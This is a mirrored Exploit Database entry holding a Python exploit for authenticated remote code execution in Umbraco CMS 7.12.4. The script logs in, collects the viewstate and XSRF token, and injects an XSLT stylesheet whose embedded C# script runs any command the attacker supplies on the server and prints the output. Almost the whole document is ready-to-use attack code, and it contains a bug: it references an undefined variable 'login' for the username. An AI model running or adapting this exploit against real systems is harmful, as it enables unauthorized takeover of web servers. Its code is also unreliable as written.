Umbraco CMS 7.12.4 – Remote Code Execution (Authenticated)

Exploit Database
118 阅读

作者： Alexandre ZANNI

日期： 2021-01-28
类别：
- webapps
平台：
- aspx
来源：https://www.exploit-db.com/exploits/49488/

# Exploit Title: Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)

# Date: 2020-03-28

# Exploit Author: Alexandre ZANNI (noraj)

# Based on: https://www.exploit-db.com/exploits/46153

# Vendor Homepage: http://www.umbraco.com/

# Software Link: https://our.umbraco.com/download/releases

# Version: 7.12.4

# Category: Webapps

# Tested on: Windows IIS

# Example: python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c ipconfig

import requests

import re

import argparse

from bs4 import BeautifulSoup

parser = argparse.ArgumentParser(prog='exploit.py',

description='Umbraco authenticated RCE',

formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))

parser.add_argument('-u', '--user', metavar='USER', type=str,

required=True, dest='user', help='username / email')

parser.add_argument('-p', '--password', metavar='PASS', type=str,

required=True, dest='password', help='password')

parser.add_argument('-i', '--host', metavar='URL', type=str, required=True,

dest='url', help='root URL')

parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True,

dest='command', help='command')

parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False,

dest='arguments', help='arguments', default='')

args = parser.parse_args()

# Payload

payload = """\

<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\

""" % (args.arguments, args.command)

password = args.password

host = args.url

# Process Login

url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"

loginfo = { "username": login, "password": password}

s = requests.session()

r2 = s.post(url_login,json=loginfo)

# Go to vulnerable web page

url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx"

r3 = s.get(url_xslt)

soup = BeautifulSoup(r3.text, 'html.parser')

VIEWSTATE = soup.find(id="__VIEWSTATE")['value']

VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']

UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']

headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}

data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE,

"__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,

"ctl00$body$xsltSelection": payload,

"ctl00$body$contentPicker$ContentIdValue": "",

"ctl00$body$visualizeDo": "Visualize+XSLT" }

# Launch the attack

r4 = s.post(url_xslt, data=data, headers=headers)

# Filter output

soup = BeautifulSoup(r4.text, 'html.parser')

CMDOUTPUT = soup.find(id="result").getText()

print(CMDOUTPUT)